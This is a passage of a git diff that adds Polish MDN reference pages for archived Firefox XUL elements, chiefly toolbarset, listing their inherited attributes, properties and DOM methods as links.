+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarbutton" title="toolbarbutton">toolbarbutton</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbargrippy" title="toolbargrippy">toolbargrippy</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbaritem" title="toolbaritem">toolbaritem</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarset" title="toolbarset">toolbarset</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarspacer" title="toolbarspacer">toolbarspacer</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarspring" title="toolbarspring">toolbarspring</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/toolbarset/index.html b/files/pl/mozilla/tech/xul/toolbarset/index.html
new file mode 100644
index 0000000000..2399ff0cae
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/toolbarset/index.html
@@ -0,0 +1,96 @@
+---
+title: toolbarset
+slug: Mozilla/Tech/XUL/toolbarset
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/toolbarset
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p><b><span class="highlightred">Tylko Firefox</span></b>
+</p><p>Ten element jest stosowany jako kontener dla pasków narzędzi użytkownika, które są dodane w oknie dialogowym <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code> przez użytkownika.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebne przykłady)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a 